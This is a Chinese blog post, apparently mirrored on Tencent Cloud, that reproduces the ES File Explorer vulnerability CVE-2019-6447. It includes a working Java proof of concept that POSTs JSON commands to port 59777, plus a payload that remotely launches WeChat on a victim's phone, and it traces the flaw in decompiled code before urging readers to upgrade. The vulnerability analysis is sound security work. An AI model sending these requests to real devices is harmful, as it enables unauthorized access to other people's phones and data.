前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用java复现 ES文件浏览器 CVE-2019-6447 高危漏洞

利用java复现 ES文件浏览器 CVE-2019-6447 高危漏洞

作者头像
博博1998
发布2022-04-25 15:44:14
6590
发布2022-04-25 15:44:14
举报
文章被收录于专栏:博博blog

今天看到关于ES文件浏览器的漏洞,觉得危险程度非常高,所以我简单的用java代码复现一下, 首先关于ES文件浏览器,我就不多说了。非常著名的一款文件浏览器。 漏洞利用就是该软件运行之后开启TCP 59777端口, 该端口未关闭导致可以通过HTTP协议POST请求接收JSON数据,进行解析执行返回结果。

环境: win10,IDEA,JDK 1.8.0_181,一加5,Android P,ES文件浏览器4.1.9.7.4之前(我用的4.1.8.3.1)

复现:

代码语言:javascript
复制
public class Test {
public static void main(String[] args) {
    String data = "{\"command\":\"getDeviceInfo\"}";
    String path = "http://192.168.43.36:59777";
    URL url = null;
    try{
        url = new URL(path);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setRequestMethod("POST");
        conn.setConnectTimeout(5000);
        conn.setRequestProperty("User-Agent","curl/7.54.0");
        conn.setRequestProperty("Accept","*/*");
        conn.setRequestProperty("Content-Type","application/json");
        conn.setRequestProperty("Content-Length",data.length()+"");
        conn.setRequestProperty("Connection","close");
        conn.setDoOutput(true);
        conn.getOutputStream().write(data.getBytes());
        //获取响应码
        int code = conn.getResponseCode();
        System.out.println("run2:"+code);
        //如果请求码为200
        if(code == 200){
            InputStream in = conn.getInputStream();
            String msg = tools.transStream(in);
            System.out.println(msg);
        }
    }catch (Exception e){
        e.printStackTrace();
    }
}

}

返回结果:

代码语言:javascript
复制
{"name":"ONEPLUS A5000", "ftpRoot":"/sdcard", "ftpPort":"3721"}

可以看到,我们通过POST请求提交了 {"command":"getDeviceInfo"} 指令, 就返回了我们手机的设备信息, 更甚至我们可以通过指令来打开我们设备上安装的应用程序: POST提交:

代码语言:javascript
复制
{"command":"appLaunch", "appPackageName": "com.tencent.mm"}

提交该json数据,则可以直接打开我们手机上安装的微信。

8.gif
8.gif

漏洞简要分析: 本次漏洞主要在: com.estrongs.fs.impl.adb.c com.estrongs.android.f.a 解压ES文件浏览器,得到4个dex文件

1.png
1.png

挨个使用jadx打开搜索command关键字,找到漏洞关键位置 在classes2.dex中定位到com.estrongs.android.f.a 可以看到在a方法内

2.png
2.png

通过command获取到对应的指令,然后执行相应的方法, 这里我就简单看一下获取设备信息的这条执指令:

3.png
3.png

在这里,如果str3.equals("getDeviceInfo")成立, 则执行b这个方法,并将jSONObject传进去,我们下拉定位到b这个方法

4.png
4.png

可以看到这个方法是通过StringBuilder,进行拼接设备信息, 和ftpPort信息,然后进行返回。

在看一下启动应用程序这条指令:

5.png
5.png

可以看到如果传来指令为appLaunch, 则执行a这个方法,并将jSONObject传递过去,下拉定位到a这个方法,

6.png
6.png

可以看到,他通过获取appPackageName对应的String, 然后进行非空判断,通过Intent将appPackageName对应的包名传入, 然后通过startActivity启动该应用程序。

通过以上分析,我们可以看出,ES可以执行的指令还是很多的,有些危害还是比较严重的, 所以目前使用ES文件浏览器的,请尽快升级到最新版本。

7.png
7.png

可以看到最新版是已经修复了该漏洞了。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-01-22,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档